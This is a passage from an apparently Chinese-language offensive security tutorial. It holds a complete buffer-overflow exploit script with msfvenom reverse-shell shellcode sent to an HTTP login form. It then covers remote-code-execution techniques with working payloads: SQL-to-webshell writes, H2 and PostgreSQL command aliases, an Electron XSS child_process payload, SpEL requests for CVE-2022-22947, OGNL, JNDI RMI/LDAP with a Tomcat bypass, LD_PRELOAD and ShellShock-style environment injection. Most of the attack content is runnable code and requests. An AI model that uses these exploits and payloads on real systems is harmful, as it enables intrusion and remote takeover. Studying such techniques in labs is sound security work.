        b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"

        b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

        b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"

        b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"

        b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"

        b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"

        b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"

        b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"

        b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"

        b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"

        b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"

        b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"

        b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"

        b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

    inputBuffer = filler + eip + offset + badchars

    0x0A作为换行符,在这里也是坏字符,删掉后继续重复该流程,最终得到坏字符为:0x00、0x0A、0x0D、0x25、0x26、0x2B、0x3D

    4 执行流程重定向

    现在我们回到之前的那个问题,怎么定位shellcode所在的位置?将ESP值硬编码进脚本再用它覆盖EIP的值,这种方法肯定是行不通的,原因我们已经解释过。

    所以另一种解决方案,我们将利用jmp指令,跳转到ESP所指向的地址,这样得到的值就是准确的,避免了“刻舟求剑”式的错误。

    简单来说,我们需要寻找一个包含”jmp esp”指令的静态地址,然后将EIP的内容设为此地址,该指令很常见,但需要符合以下几个条件才能被我们使用:

1.使用的地址必须是静态的,所以支持库不能是开启ASLR编译的

2.该地址不能包含坏字符,因为地址也需要被输入到缓冲区中。

利用Process Hacker可以很快完成查询,看缓解策略即可:

寻找其加载的DLL,发现libssp.dll符合我们的需求:

地址不包含坏字符,可行。

首先我们要将”jmp esp”转换为操作码,可以利用msf-nasm_shell工具或在线网站完成:

https://shell-storm.org/online/Online-Assembler-and-Disassembler/

接下来我们需要确定libssp.dll的地址范围:

之后在其地址范围内搜索所需的操作码:

s -b 10000000 10223000 0xff 0xe4

得到的地址为10090c83,也不包含坏字符,可行。

下面我们将覆盖EIP为该地址,从而使得执行流程跳转到ESP所指向的地址

filler = b"A" * 780eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESPoffset = b"C" * 4shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))inputBuffer = filler + eip + offset + shellcode

    这里EIP写入的是jmp esp指令的地址,要以相反的顺序写入,因为x86架构使用小端序。小端序中,数据的低位字节存储在低位内存,高位字节存储在高位内存。

可以看到,成功通过覆盖EIP将执行流程重定向到shellcode的位置。

    5 获取反向shell

    我们可以利用msfvenom来生成shellcode,但shellcode里也有可能存在坏字符,所以就需要用编码器来解决:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.242 LPORT=4444 -f python –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

    编码之后,我们不能直接让执行流程定位到shellcode的开头,因为在最前面会有一个解码器,它会导致ESP寄存器指向的地址附近几个字节被修改,最终会导致解码失败且进程崩溃

    解决该问题的一个办法是使用NOP slip,即利用NOP指令覆盖可能的位置,因为NOP指令不会进行任何操作,只会执行下一条,那么当通过这种方式就可以让CPU执行时滑到Payload处

filler = b"A" * 780  eip = b"\x83\x0c\x09\x10"  offset = b"C" * 4  nops = b"\x90" * 10  buf =  b""  buf += b"\xb8\x50\xab\xc0\x1b\xd9\xcf\xd9\x74\x24\xf4\x5f"  buf += b"\x29\xc9\xb1\x52\x31\x47\x12\x03\x47\x12\x83\x97"  buf += b"\xaf\x22\xee\xeb\x58\x20\x11\x13\x99\x45\x9b\xf6"  ……

完整的脚本:

import socketimport systry:  server = sys.argv[1]  port = 80  size = 800  filler = b"A" * 780  eip = b"\x83\x0c\x09\x10"  offset = b"C" * 4  nops = b"\x90" * 10  buf =  b""  buf += b"\xb8\x50\xab\xc0\x1b\xd9\xcf\xd9\x74\x24\xf4\x5f"  buf += b"\x29\xc9\xb1\x52\x31\x47\x12\x03\x47\x12\x83\x97"  buf += b"\xaf\x22\xee\xeb\x58\x20\x11\x13\x99\x45\x9b\xf6"  buf += b"\xa8\x45\xff\x73\x9a\x75\x8b\xd1\x17\xfd\xd9\xc1"  buf += b"\xac\x73\xf6\xe6\x05\x39\x20\xc9\x96\x12\x10\x48"  buf += b"\x15\x69\x45\xaa\x24\xa2\x98\xab\x61\xdf\x51\xf9"  buf += b"\x3a\xab\xc4\xed\x4f\xe1\xd4\x86\x1c\xe7\x5c\x7b"  buf += b"\xd4\x06\x4c\x2a\x6e\x51\x4e\xcd\xa3\xe9\xc7\xd5"  buf += b"\xa0\xd4\x9e\x6e\x12\xa2\x20\xa6\x6a\x4b\x8e\x87"  buf += b"\x42\xbe\xce\xc0\x65\x21\xa5\x38\x96\xdc\xbe\xff"  buf += b"\xe4\x3a\x4a\x1b\x4e\xc8\xec\xc7\x6e\x1d\x6a\x8c"  buf += b"\x7d\xea\xf8\xca\x61\xed\x2d\x61\x9d\x66\xd0\xa5"  buf += b"\x17\x3c\xf7\x61\x73\xe6\x96\x30\xd9\x49\xa6\x22"  buf += b"\x82\x36\x02\x29\x2f\x22\x3f\x70\x38\x87\x72\x8a"  buf += b"\xb8\x8f\x05\xf9\x8a\x10\xbe\x95\xa6\xd9\x18\x62"  buf += b"\xc8\xf3\xdd\xfc\x37\xfc\x1d\xd5\xf3\xa8\x4d\x4d"  buf += b"\xd5\xd0\x05\x8d\xda\x04\x89\xdd\x74\xf7\x6a\x8d"  buf += b"\x34\xa7\x02\xc7\xba\x98\x33\xe8\x10\xb1\xde\x13"  buf += b"\xf3\x7e\xb6\x36\xf1\x17\xc5\x48\xe4\xbb\x40\xae"  buf += b"\x6c\x54\x05\x79\x19\xcd\x0c\xf1\xb8\x12\x9b\x7c"  buf += b"\xfa\x99\x28\x81\xb5\x69\x44\x91\x22\x9a\x13\xcb"  buf += b"\xe5\xa5\x89\x63\x69\x37\x56\x73\xe4\x24\xc1\x24"  buf += b"\xa1\x9b\x18\xa0\x5f\x85\xb2\xd6\x9d\x53\xfc\x52"  buf += b"\x7a\xa0\x03\x5b\x0f\x9c\x27\x4b\xc9\x1d\x6c\x3f"  buf += b"\x85\x4b\x3a\xe9\x63\x22\x8c\x43\x3a\x99\x46\x03"  buf += b"\xbb\xd1\x58\x55\xc4\x3f\x2f\xb9\x75\x96\x76\xc6"  buf += b"\xba\x7e\x7f\xbf\xa6\x1e\x80\x6a\x63\x2e\xcb\x36"  buf += b"\xc2\xa7\x92\xa3\x56\xaa\x24\x1e\x94\xd3\xa6\xaa"  buf += b"\x65\x20\xb6\xdf\x60\x6c\x70\x0c\x19\xfd\x15\x32"  buf += b"\x8e\xfe\x3f"  buf += b"D" * (1500 - len(filler) - len(eip) - len(offset) - len(buf))  inputBuffer = filler + eip + offset + nops + buf  content = b"username=" + inputBuffer + b"&password=A"  buffer = b"POST /login HTTP/1.1\r\n"  buffer += b"Host: " + server.encode() + b"\r\n"  buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"  buffer += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"  buffer += b"Accept-Language: en-US,en;q=0.5\r\n"  buffer += b"Referer: http://10.11.0.22/login\r\n"  buffer += b"Connection: close\r\n"  buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"  buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"  buffer += b"\r\n"  buffer += content  print("Sending evil buffer...")  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  s.connect((server, port))  s.send(buffer)  s.close()
print("Done!")
except socket.error:  print("Could not connect!")

2.7.4 小结

    本章介绍的是最基础的缓冲区溢出,并且没有任何安全限制,但实际环境是远不可能如此简单的,所以路漫漫其修远兮,加油吧安全人。

3

03

不同语言独有或特殊环境RCE

    本模块解释一些语言独有的RCE或者特殊环境配置下造成的RCE

3.1 (SQL语句)SQL注入导致RCE

    SQL注入(SQL Injection)是一种常见的网络攻击技术,它允许攻击者在应用程序的数据库查询中插入或“注入”恶意SQL代码,从而绕过安全措施来执行未授权的数据库命令。这种攻击可以用来访问、修改甚至删除数据库中的数据,包括获取敏感信息、破坏数据或者在某些情况下,控制服务器或执行操作系统级别的命令。

    SQL到RCE有常见的有两种方式,一种是注入时目标是DBA权限且知道目标站点绝对路径,另一种就是支持特殊函数进行RCE的。

3.1.1 DBA权限+绝对路径(通用)

    phpMyAdmin 是一个非常流行的基于Web的数据库管理工具,用于管理MySQL和MariaDB数据库系统。这是一个开源工具,通过简单的图形用户界面提供了一个方便的平台,让用户能够执行数据库中的各种操作,包括但不限于:

    创建、修改或删除数据库和表。

    执行SQL语句。管理数据库用户和权限。

    导入和导出数据。

    对数据库和表进行备份和恢复。

    查看服务器的性能和状态。

    由于其Web界面,phpMyAdmin 可以从几乎任何地方通过互联网访问,这使得它对于那些不熟悉命令行界面的用户尤其有用。它包含了大量的文档,帮助用户理解和管理他们的数据库。

    phpMyAdmin 是用PHP编写的,并且可以在任何支持PHP的Web服务器上运行。它广泛应用于网站托管服务中,让网站管理员能够直接在Web浏览器中管理他们的数据库。

    安装phpmyadmin进行测试

    使用root账号登录(DBA权限)

    执行语句可以发现secure_file_priv为NULL这是不允许导入导出数据的意思

    修改一下配置,在mysql安装目录中的my.ini文件中添加一行

secure_file_priv = ''

    重启服务

    可以发现现在没有value值了,此时就可以进行写入

    SELECT'恶意代码' INTO OUTFILE '目标站点绝对路径'


3.1.2 SQLserver数据库RCE

    SQL Server 是由微软开发的一款关系型数据库管理系统(RDBMS),它支持广泛的事务处理、商务智能和分析应用程序,适用于企业环境。SQL Server 提供了一个安全、可靠的数据存储方案,能够处理大量数据,同时还提供了复杂的数据分析功能。

    sqlserver中的xp_cmdshell

    使用sqlserver语句

    然后执行命令,可以发现成功读取C:\下的文件

3.1.3 H2数据库RCE

    H2 是一个开源的嵌入式数据库引擎,它提供了轻量级但功能强大的数据库解决方案。H2 数据库主要用于Java应用程序,因为它是用Java编写的,可以以嵌入式的方式集成到Java应用程序中,也可以作为一个独立的服务器运行。H2的设计目标是快速性能、开放源代码以及易于使用。

    访问官网下载

https://www.h2database.com/html/download.html

    直接安装即可

    直接在windows下搜索H2, 打开H2 console

    直接点击connect登录,默认是没有任何密码的

    使用这段命令来创建一个别名

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;

    直接调用即可成功RCE

3.1.4 PostgreSQL数据库RCE

    PostgreSQL,通常简称为Postgres,是一个开源的关系型数据库管理系统(RDBMS),以其稳定性、功能强大和遵循标准而闻名。PostgreSQL支持高级的数据类型和强大的功能,如事务完整性、持久性、并发控制、子查询、触发器、视图、复杂的SQL查询、事务、MVCC(多版本并发控制)、高级索引技术等。这些特性使得PostgreSQL成为企业级应用、复杂数据处理和高并发应用的理想选择。

    使用以下命令来安装并启动

sudo yum install postgresql-server postgresql-contribsudo postgresql-setup initdbsudo systemctl start postgresql

    切换到postgres用户来管理数据库

sudo -i -u postgrespsql

CREATE EXTENSION plypythonu;

    创建扩展(我这里已经提前装好了)

    执行以下命令创建一个名为rce的函数

CREATE OR REPLACE FUNCTION rce(command text) RETURNS void AS $$import osos.system(command)$$ LANGUAGE plpythonu;

    使用SELECT rce(命令);即可成功rce,可以看到下图成功写入代码到/tmp/test.txt中

3.2 (Javascript)XSS注入导致RCE

    XSS(Cross-Site Scripting,跨站脚本)注入是一种常见的网站安全漏洞。它允许攻击者在受害者浏览器上执行恶意脚本。这种攻击通常是通过将恶意代码注入到网页上,然后由其他用户访问并执行这些代码来完成的。XSS攻击可以用来窃取用户信息、会话令牌、破坏网站的正常功能等。

    XSS攻击通常分为以下几类:

    存储型XSS:恶意脚本被永久存储在目标服务器上(例如,在数据库、消息论坛、访客留言等处),当用户浏览相关页面时,脚本会被执行。

    反射型XSS:恶意脚本通过发送带有恶意脚本的URL给用户来执行。当用户点击链接时,恶意脚本会被发送到服务器,然后反射回用户的浏览器并执行。通常伴随着钓鱼攻击。

    DOM-based XSS:或称为基于文档对象模型的XSS,攻击脚本是通过修改页面的DOM环境来实现的,而不是实际的HTML代码。这类攻击完全在客户端执行。

    XSS一般是网页上的漏洞,通过更改前端代码进行操作,而我们知道前端代码例如javascript是没有什么与系统交互的命令和权限的,所以一般情况下是不存在XSS到RCE漏洞的,但某种情况下,例如特殊的环境配置或者与其他漏洞组合,最终是可以达到RCE的

    一般有两种方法造成RCE,一种是通过前端开发特殊配置可以直接执行系统命令,比如常见的electron RCE,一种是XSS配合CSRF,通过1click RCE.

3.2.1 XSS通过特殊配置RCE

    Electron 是一个开源的框架,它允许开发者使用 Web 技术(HTML, CSS, JavaScript)来构建跨平台的桌面应用程序。它由 GitHub 创建并维护,最初的目的是为了开发 Atom 编辑器。Electron 工作的基础是结合了 Chromium(一个开源的网页浏览器项目,也是 Google Chrome 浏览器的基础)和 Node.js(一个可以在服务器端运行 JavaScript 的平台),使得开发者可以创建具有原生应用程序体验的桌面应用程序,同时利用 Node.js 的强大功能。

    Electron 之所以可以执行系统命令,主要是因为它内置了 Node.js。Node.js 提供了许多模块和 API,使得 JavaScript 代码能够执行操作系统级别的任务,如文件系统操作、网络请求、以及执行外部程序和命令。这些功能主要通过 Node.js 的 child_process 模块来实现,它允许 Electron 应用程序创建子进程来执行系统命令和其他外部程序。

    先安装好node.js和electron


npm install -g cnpm --registry=https://registry.npm.taobao.orgcnpm install electron -g

    成功安装,然后开始搭建环境

    那么如何利用这个去rce呢,简单的一句话,在index.js中如下

const exec = require('child_process').execexec('calc.exe', (err, stdout, stderr) => console.log(stdout))

    我们在能xss的情况下,控制前端代码,并且是electron框架的时候,即可造成rce

    经测试最短一句话为

const exec = require('child_process').exec('命令')

   我们这里采用Notable作为案例,版本为1.8.4,官网下载后https://notable.app/#features

    新建一个文件,将命令转换成base64

    在notable新建的文件中输入以下payload

    保存后即可成功触发rce

3.2.2 XSS配合CSRF升级成RCE

    跨站请求伪造(CSRF,Cross-Site Request Forgery)是一种常见的网络攻击方式,它允许攻击者在不知情的用户浏览器中执行未经授权的命令。这种攻击通常通过诱使用户点击链接、访问恶意网站或在用户已登录的网站中嵌入恶意代码来实现。攻击者利用用户的登录状态,以用户的名义发送请求,执行一些用户并不希望执行的操作,如更改密码、转账等。

    简单来描述下XSS配合CSRF达到RCE的流程,假设目前有个管理平台,在后台有一个功能可以进行执行命令,但正常情况下攻击者是利用不了的。此时前台有个XSS注入点,当管理员的COOKIE被窃取或直接使用管理员的身份进行后台的命令执行功能利用,即可完成整个攻击流程的

    首先准备好js文件

    然后找到面板主页,将poc插进去

    登录面板,即可看到在www文件夹下生成了1.txt

    简单分析下

    在小皮首页当中,会将尝试的用户名输出到页面上

    而这个过程是没有过滤的,也就可以进行任意xss,而配合小皮自带的计划任务,即可完成1click RCE

    登录的代码如下


    其中获取日志的代码如下



    下图代码就是执行任务计划的


3.3 (JAVA)表达式注入RCE

    表达式注入(Expression Language Injection)是一种安全漏洞,通过这种漏洞,攻击者可以在应用程序未经意间评估或执行用户控制的数据作为代码的情况下,执行恶意代码。这通常出现在使用了动态表达式语言的应用程序中

3.3.1 表达式注入(SPEL)

    Spring Expression Language (SpEL) 表达式注入漏洞是一种安全漏洞,它存在于使用 Spring 框架开发的应用程序中。Spring 是一个流行的 Java 应用程序开发框架,提供了丰富的功能和工具来简化企业级应用程序的开发。SpEL 是 Spring 框架中的一部分,它是一个强大的表达式语言,支持在运行时查询和操作对象图。尽管 SpEL 提供了便利,但如果不当使用,也可能引入安全漏洞。 

SpEL 表达式注入漏洞通常发生在应用程序将用户输入不经过适当处理直接用于 SpEL 表达式的情况。攻击者可以利用这种漏洞,通过构造恶意的 SpEL 表达式,执行未授权的命令或访问数据,从而对应用程序的安全造成威胁。 

    一个简单的案例

import org.springframework.expression.Expression;import org.springframework.expression.ExpressionParser;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext; public class SPEL {    public static void main(String[] args) {            String poc = "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")";                    StandardEvaluationContext context = new StandardEvaluationContext();                    ExpressionParser expressionParser = new SpelExpressionParser();                    Expression expression = expressionParser.parseExpression(poc);                    expression.getValue(context);    }

    这里选用知名的spring-cloud-gateway(CVE-2022-22947)来做案例

    搭建环境

docker pull vulhub/spring-cloud-gateway:3.1.0docker run -itd -p 8010:8080 --name spring vulhub/spring-cloud-gateway:3.1.0

    主页

    复现过程

POST /actuator/gateway/routes/rce HTTP/1.1Host: 127.0.0.1:8010Cache-Control: max-age=0sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentContent-Type: application/jsonAccept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9If-None-Match: "3147526947+gzip"If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMTConnection: closeContent-Length: 365
{"id": "rce","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}}],"uri": "http://example.com","order": 0}

    刷新缓存

POST /actuator/gateway/refresh HTTP/1.1Host: 127.0.0.1:8010Connection: closeContent-Type: application/x-www-form-urlencoded

    成功RCE

GET /actuator/gateway/routes/rce HTTP/1.1Host: 127.0.0.1:8010Connection: closeContent-Type: application/x-www-form-urlencoded

    分析流程

    最终的漏洞点在ShortcutConfigurable.java,通过parser.parseExpression解析entryValue

    向上跟踪,看看哪里调用了getValue,定位到normalize,遍历args参数并取值给entry,然后传进getvalue

    那么继续看normalize中的args是从哪里来的,找到ConfigurationService.java文件,先判断是不是null,如果不是的话就赋值,如果是的话就执行normalizeProperties,在赋值时发现传的值是this.properties

    赋值在properties

    那么哪里调用properties呢?在RouteDefinitionRouteLocator.java中的loadGatewayFilters中,在126行中给definition赋值后传入properties,继续定位

    哪里调用loadGatewayFilters了呢,继续跟进发现是在getFilters,而loadGatewayFilters中第二个参数就是我们传参的exp


    然后回到起始点,在AbstractGatewayControllerEndpoint.java中

    文档中也说明了创建路由的方式

https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html


    跟进validateRouteDefinition中的isAvilable,这段代码就是来检查过滤器是否是可用的,只需选择可用的过滤器即可RCE

    总结就是需要用户自己创建一个路由,refresh之后即可成功触发RCE的流程,最后用户传入的poc由parser.parseExpression进行解析,造成spel注入,网上文章有更详细的流程,如要继续深入的话可以再搜一下

3.3.2 表达式注入(OGNL)

    OGNL(Object-Graph Navigation Language)表达式注入是一种安全漏洞,通常发生在使用Apache Struts等框架的Web应用程序中。OGNL是一种强大的表达式语言,用于获取和设置Java对象的属性,执行方法调用等。在Apache Struts框架中,OGNL用于视图层与后端Java代码之间的数据绑定和表达式求值。

    下面是个小案例

import ognl.Ognl;import ognl.OgnlContext; public class OGNL {    public static void main(String[] args) throws Exception {              String poc = "@java.lang.Runtime@getRuntime().exec(\"calc\")";              OgnlContext context = (OgnlContext) Ognl.createDefaultContext(OGNL.class);              context.put("test", "test");              Object expression = Ognl.parseExpression(poc);              Ognl.getValue(expression, context, context.getRoot());        }

    简单进行下原理分析

    最终的漏洞点在getValue中,那么我们深入分析下这个函数都做了些什么事情

    这段代码大致意思是从一个对象树中获取值,根据节点是否有访问器采取不同方式提取信息

    跟进node.getValue后会发现调用了evaluateGetValueBody

    这段代码首先检查一个节点是否已经计算了一个常量值,如果没有,则计算并标记它。如果存在的话就返回这个常量值,如果不存在,就计算并返回一个新值

    进入getValueBody进行计算

    最后通过迭代计算后将我们的poc传入callMethod进行调用

3.4 (JAVA)JNDI注入导致RCE

    JNDI注入(Java Naming and Directory Interface注入)是一种利用Java平台的命名和目录接口进行攻击的安全漏洞。这种攻击通常发生在当应用程序将用户输入未经验证直接用于JNDI查询时。攻击者可以通过构造恶意的输入,实现对目标系统的远程代码执行(RCE),数据泄露或其他恶意活动。JNDI是一个Java API,它提供了一个查找和访问Java命名和目录服务的方法。

3.4.1 JNDI注入+RMI

    RMI(remote method invoke)即远程方法调用,JAVA中的RMI可以使一个 JVM 中的对象,调用另一个 JVM 中的对象方法并获取调用结果。

RMI包含客户端和服务端,在服务端中生成远程对象并绑定到注册中心中,客户端可以从注册中心中查找到远程对象并调用其中的方法。

比如想将UserService注册为远程对象,首先需要写一个接口并继承Remote。

    UserService实现类需要继承UnicastRemoteObject并抛出RemoteException异常。

    获取注册中心,向注册中心绑定userService的url为rmi://localhost:1900/user,会开启在1900端口开启一个RMI服务。

    客户端通过注册中心绑定的命名获取到远程对象完成调用。

    RMI除了可以直接绑定对象,也支持绑定Reference引用对象,Reference构造方法中包含三个参数,分别是className,factory,和factoryLoaction。当通过rmi请求引用对象时,会从factoryLocation指定的位置获取名字为factory指定的工厂类,并调用工厂类的getObjectInstance方法获取对象。如果RMI的服务端可控,可以绑定一个恶意的Reference应用对象,同时指定factoryLoaction的地址为服务端地址等待客户端连接。当客户端向恶意RMI服务器发起请求查找引用对象时,如果本地找不到工厂类时,则会根据factoryLocation提供地址加载远程的恶意Class从而实现RCE。

   漏洞复现:

   创建RMI服务端在1099端口创建注册中心后,创建引用对象并指定factoryLoaction为http://127.0.0.1:8888/ className为Calc。最后将引用对象绑定在注册中心。

    编写恶意代码实现ObjectFactory接口,在静态方法中实现恶意代码。

    在127.0.0.1:8888端口开启http服务并将编译后的Calc.class放到http服务的根目录下。

    JNDI通过rmi协议向注册中心发起请求查询绑定的引用对象,加载远程Class实现RCE。    


    原理分析:

    由于使用的高版本JDK复现,因此在客户端加上两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

    JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,也就是说在这些JDK版本之后,默认无法加载远程的。

    JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项。

    下面看一下JNDI通过RMI利用的请求过程。

    客户端通过context.lookup发起请求,首先调用getURLOrDefaultInitCtx()根据协议来获取不同的Context实例。


    继续调用GenericURLContext#lookup根据url获取注册中心上下文,调用lookup方法从注册中心上下文中查找对象。

    RegistryContext#lookup从注册中心查找对象后调用decodeObject对lookup找到的Remote对象解码。

    decodeObject中判断是否为引用对象,这里通过代码可以看到,当查找结果是引用对象,并且设置了factoryLoaction时,会检查trustURLCodebase是否为true,如果不是则直接抛出异常,因此想要通过RMI协议加载factoryLocation中指定的class需要设置com.sun.jndi.rmi.object.trustURLCodebase为true。

    下面看getObjectInstance的代码逻辑,首先获取ObjectFactoryBuilder,如果存在则通过ObjectFactoryBuilder构造factory。不存在则查看引用对象是否设置了FactroyClassName,调用getObjectFactoryFromReference获取工厂对象。

    getObjectFactoryFromReference首先从本地加载Class,加载不到再去FactoryLocation中加载class。加载到class后通过newInstance实例化。

    远程类加载通过VersionHelper12#loadClass完成,这里又会判断trustURLCodebase是否为true,只有为true才会创建UrlClassLoader加载远程Class。因此还需要设置com.sun.jndi.ldap.object.trustURLCodebase为true。

    可以看到JNDI+RMI利用需要依赖JDK的版本限制,那么有没有方法绕过呢?

Tomcat Bypass

    通过上面对于JNDI+RMI Client查找引用对象的过程,我们发现了两种绕过思路。

    1.可以调用System.setProperty对属性进行设置。

    2.查找本地代码中是否有可以利用的ObjectFactory。

    第一种绕过方法比较困难,除非存在一个任意静态方法调用,否则无法绕过。

    第二种方法需要从一些通用库中寻找ObjectFactory实现类,并寻找可以利用的点。

    在tomcat中存在org.apache.naming.factory.BeanFactory类,其中getObjectInstance方法会从引用对象中获取ClassName,Method和参数,因此可以利用该类实现任意方法调用从而实现RCE。

    

// 代码引用:https://evilpan.com/2021/12/13/jndi-injection/#remote-classpublic Object getObjectInstance(Object obj, Name name, Context nameCtx,Hashtable<?,?> environment)  throws NamingException {  Reference ref = (Reference) obj;  String beanClassName = ref.getClassName();  ClassLoader tcl = Thread.currentThread().getContextClassLoader();  // 1. 反射获取类对象  if (tcl != null) {    beanClass = tcl.loadClass(beanClassName);  } else {    beanClass = Class.forName(beanClassName);  }  // 2. 初始化类实例  Object bean = beanClass.getConstructor().newInstance();  // 3. 根据 Reference 的属性查找 setter 方法的别名  RefAddr ra = ref.get("forceString");  String value = (String)ra.getContent();  // 4. 循环解析别名并保存到字典中  for (String param: value.split(",")) {    param = param.trim();    index = param.indexOf('=');    if (index >= 0) {      setterName = param.substring(index + 1).trim();      param = param.substring(0, index).trim();    } else {      setterName = "set" +        param.substring(0, 1).toUpperCase(Locale.ENGLISH) +        param.substring(1);    }    forced.put(param, beanClass.getMethod(setterName, paramTypes));  }  // 5. 解析所有属性,并根据别名去调用 setter 方法  Enumeration<RefAddr> e = ref.getAll();  while (e.hasMoreElements()) {    ra = e.nextElement();    String propName = ra.getType();    String value = (String)ra.getContent();    Object[] valueArray = new Object[1];    Method method = forced.get(propName);    if (method != null) {      valueArray[0] = value;      method.invoke(bean, valueArray);    }    // ...  }}

    通过Tomcat Bypass 构造EXP如下:

3.4.2 JNDI注入+LDAP

    JNDI常用的协议还有ldap协议,通过ldap协议也可以指定codeBase来实现RCE。在JDK高版本中同样受到com.sun.jndi.ldap.object.trustURLCodebase属性的影响。因此关于ldap协议的利用第一种方法与RMI类似,同样也可以通过Tomcat bypass绕过JDK版本限制。但ldap协议中可以绑定javaSerializedObject对象在服务端,在javaSerializedObject对象中有javaSerializedData属性可以存储序列化的内容,客户端在请求时会对javaSerializedData的内容反序列化从而触发反序列化漏洞。

    对应的代码在LdapCtx#c_lookup中,javaClassName不为空时调用decodeObject方法。


    javaSerializedData不为空时,通过codebase获取ClassLoader,classLoader为空根据javaSerializedData属性的内容创建ObjectInputStream并调用readObject方法触发反序列化。


    由于Ldap利用方式更多且限制更少,因此一般在发现JNDI注入时优先选择通过Ldap来利用。

3.5环境变量注入RCE

    环境变量是操作系统中用来定义操作系统运行环境的一些变量。它们包含了关于操作系统会话和工作环境的信息,如路径设置、系统语言、临时文件夹位置等。环境变量可以被系统的进程和应用程序读取,用来获取关键的配置信息和系统参数

    环境变量注入,一种是常见的通过LD_PRELOAD和上传任意.so文件进行rce,另一种是p牛写的通过环境变量可控和一个不可控的命令执行进行RCE

3.5.1 环境变量注入(LD_PRELOAD)

    LD_PRELOAD 是一个在 Unix-like 操作系统中使用的环境变量,它允许用户指定在程序启动前预加载的共享库(shared libraries)。这个特性通常用于改变已有程序的行为,而无需修改程序本身的代码。

    通过 LD_PRELOAD,可以强制加载用户指定的库文件,这些库文件中的函数可以覆盖标准库中的同名函数,从而允许重定义函数的行为。

    当设置了 LD_PRELOAD 环境变量后,动态链接器(dynamic linker/loader)会在程序启动时,优先加载 LD_PRELOAD 中指定的共享库。这些库中的函数将优先于标准库或其他共享库中的同名函数被使用。这意味着,即使应用程序没有直接链接到这些预加载的库,程序中对这些函数的调用也会被重定向到预加载的库中的实现。

    在Linux下,动态链接库是.so(Shared Object)为扩展名的文件。它在许多方面与windows中的dll文件类似。

    编写.c文件代码

#include <stdlib.h>#include <unistd.h>#include <sys/types.h>__attribute__((constructor)) void rcetest(void){unsetenv("LD_PRELOAD");system("echo RCE successfully");}

    生成后编写php文件代码,使用putenv控制LD_PRELOAD

<?phpputenv("LD_PRELOAD=./rcetest.so");system("id");?>

3.5.2 环境变量注入(环境变量可控与不可控的命令执行)

    根据p牛研究,发现在特殊环境(例如centos7)下,通过可控的putenv参数与一个不可控的命令执行函数即可成功造成rce,具体原理可以看下p牛博客写的分析,这里就简单复现下,不班门弄斧了。

https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html

    简单做个测试,在centos7下可以使用以下代码执行任意命令

<?php  if(isset($argv[1])) {   putenv($argv[1]);  }  system('echo hello');?>

    以下为p牛总结

    Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id;

    Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

